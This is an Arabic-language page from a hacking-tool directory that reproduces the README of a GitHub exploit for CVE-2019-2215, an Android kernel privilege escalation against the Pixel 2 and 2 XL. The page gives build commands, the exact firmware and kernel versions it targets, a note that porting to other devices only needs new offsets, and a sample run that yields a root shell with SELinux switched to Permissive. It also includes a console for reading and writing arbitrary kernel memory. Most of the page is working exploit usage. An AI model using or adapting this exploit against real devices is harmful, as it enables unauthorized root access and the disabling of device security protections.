Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2019-2215 — Temproot لـ Pixel 2 و Pixel 2 XL عبر CVE-2019-2215 | Kitploit
أدوات/GitHubGitHub/kangtastic/cve-2019-2215
أمان أندرويدتصعيد الامتيازاتتحليل الذاكرة الجنائيالاستغلالمصممي الأخطاءالتعلم والتعليماستغلال الملفات الثنائية
GitHubkangtastic/cve-2019-2215

cve-2019-2215

Temproot لـ Pixel 2 و Pixel 2 XL عبر CVE-2019-2215

عرض المستودع
13455منذ 6 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2019-2215

Temproot لهاتف Pixel 2 و Pixel 2 XL عبر CVE-2019-2215

(بناءً على إثبات المفهوم بواسطة Jann Horn & Maddie Stone من Google Project Zero)


نظرة عامة

عرض توضيحي لهجوم تصعيد الصلاحيات باستخدام القراءة/الكتابة على ذاكرة النواة فقط، مما يؤدي إلى الحصول على شل مؤقت بصلاحيات الجذر.

يعمل على أجهزة Google Pixel 2/Pixel 2 XL (walleye/taimen) التي تعمل بإصدار سبتمبر 2019 QP1A.190711.020 مع إصدار النواة-BuildID 4.4.177-g83bee1dc48e8.

لكي تعمل هذه الأداة على أجهزة و/أو نواة أخرى متأثرة بنفس الثغرة، يجب إيجاد وتغيير بعض الإزاحات. كما ذكر في متعقب الأخطاء لـ Project Zero، هذا ليس صعبًا للغاية.

كذلك تم تضمين وحدة تحكم تصحيح مصغرة توفر واجهة شبيهة بمحرر سداسي عشر للتعامل مع ذاكرة النواة وإمكانية تشغيل شل.

إخلاء مسؤولية

  • هذه الأداة، ومصدرها، متاحة لأغراض التوثيق والتعليم فقط.

  • لا تستخدم هذه الأداة. إنها فكرة سيئة.

  • مساعدة، دعم، تحديثات — لا شيء منها.

التجميع

لسهولة الاستخدام، تم تضمين ملف Makefile يعمل مع سلسلة أدوات الترجمة المتقاطعة من Android NDK الإصدار r19 أو أعلى.

root@kitploit:~
# تحميل Android NDK.
user@host:~$ wget https://dl.google.com/android/repository/android-ndk-r20-linux-x86_64.zip

# استخراج NDK وتعيين مساره كـ $ANDROID_NDK_HOME.
user@host:~$ unzip android-ndk-r20-linux-x86_64.zip
user@host:~$ rm android-ndk-r20-linux-x86_64.zip  # اختياري
user@host:~$ export ANDROID_NDK_HOME=~/android-ndk-r20

# استنساخ مستودع git الخاص بـ `cve-2019-2215` والانتقال إليه.
user@host:~$ git clone https://github.com/kangtastic/cve-2019-2215.git
user@host:~$ cd cve-2019-2215

# تجميع الملف الثنائي.
user@host:~/cve-2019-2215$ make all  # all, clean, debug, debug-static, static, strip
user@host:~/cve-2019-2215$ file cve-2019-2215
cve-2019-2215: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV),
dynamically linked, interpreter /system/, stripped

الاستخدام

(مخرجات نموذجية مأخوذة من Pixel 2 XL عبر adb)

Temproot

بمجرد تجميع الملف الثنائي، انقله إلى الجهاز، واجعله قابلاً للتنفيذ، ثم شغّله. (يجب أن يعمل في مكان ما داخل /data/).

مثال

root@kitploit:~
taimen:/ $ cd /data/local/tmp
taimen:/data/local/tmp $ install -m 755 /sdcard/cve-2019-2215 ./
taimen:/data/local/tmp $ ./cve-2019-2215
Temproot لهاتف Pixel 2 و Pixel 2 XL عبر CVE-2019-2215
[+] بدء التشغيل
[+] العثور على عنوان النواة لـ current task_struct
[+] الحصول على قراءة/كتابة عشوائية لذاكرة النواة
[+] العثور على العنوان الأساسي للنواة
[+] تجاوز SELinux وتصحيح الصلاحيات الحالية
taimen:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),
3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:kernel:s0
taimen:/data/local/tmp # getenforce
Permissive
taimen:/data/local/tmp # exit
taimen:/data/local/tmp $

النجاح غير مضمون وقد يتعطل الجهاز تمامًا، ولكن عادةً، يتم ضبط SELinux على Permissive ويتم تشغيل شل بصلاحيات الجذر.

وحدة تحكم التصحيح

مرر debug كوسيطة سطر أوامر وحيدة لبدء وحدة تحكم تصغير بدلاً من روتين تصعيد الصلاحيات بعد الحصول على قراءة/كتابة على النواة.

مرجع الأوامر

root@kitploit:~
debug> help
مساعدة سريعة
    print
        طباعة العنوان الأساسي للنواة، بعض إزاحات رموز النواة،
        وعنوان current task_struct كسلسلة سداسية عشر
    read <kaddr> <len>
        قراءة <len> بايت من <kaddr> وعرضها كـ hexdump
        <kaddr> سلسلة سداسية عشر بدون بادئة 0x
        <len> هو 1-4096 أو 0x1-0x1000
    write <kaddr> <data>
        كتابة <data> إلى <kaddr>
        <kaddr> سلسلة سداسية عشر بدون بادئة 0x
        <data> هو 1-4096 بايت سداسي عشر، يتم تجاهل المسافات، يُكتب *كما هو*
        مثال: إذا كان kaddr 0xffffffffdeadbeef يحتوي على عدد صحيح، وتريد تعيين
        قيمته إلى 1، أدخل 'write ffffffffdeadbeef <data>'، حيث <data> هو
        '01000000' أو '0100 0000' أو '01 00 0 0 00' إلخ (نظام ARM لدينا هو little-endian)
    shell
        تشغيل شل (تلميح: هل أصبحنا ~بطريقة ما~ مستخدمًا آخر؟ :P)
    help
        طباعة هذه المساعدة
    exit
        الخروج من وحدة تحكم التصحيح

مثال

ضبط SELinux من Permissive إلى Enforcing كمستخدم غير مميز.

root@kitploit:~
taimen:/data/local/tmp $ getenforce
Permissive
taimen:/data/local/tmp $ ./cve-2019-2215 debug
Temproot لهاتف Pixel 2 و Pixel 2 XL عبر CVE-2019-2215
[+] بدء التشغيل
[+] العثور على عنوان النواة لـ current task_struct
[+] الحصول على قراءة/كتابة عشوائية لذاكرة النواة
[+] العثور على العنوان الأساسي للنواة
جارٍ تشغيل وحدة تحكم التصحيح، أدخل 'help' للحصول على مساعدة سريعة
debug> print
ffffff9bad880000 kernel_base
ffffff9baf8a57d0 init_task
ffffff9baf8af2c8 init_user_ns
ffffff9baf8e3780 selinux_enabled
ffffff9bafc4e4a8 selinux_enforcing
ffffffe6b2942b80 current
debug> read ffffff9bafc4e4a8 35
ffffff9bafc4e4a8: 0000 0000 0100 0000 002e 40b9 faff ffff  ..........@.....
ffffff9bafc4e4b8: 0023 40b9 faff ffff 0000 0000 0000 0000  .#@.............
ffffff9bafc4e4c8: 0000 00                                  ...
debug> write ffffff9bafc4e4a8 01 00 00 00
debug> read ffffff9bafc4e4a8 4
ffffff9bafc4e4a8: 0100 0000                                ....
debug> exit
taimen:/data/local/tmp $ getenforce
Enforcing
taimen:/data/local/tmp $
تنزيل الأداة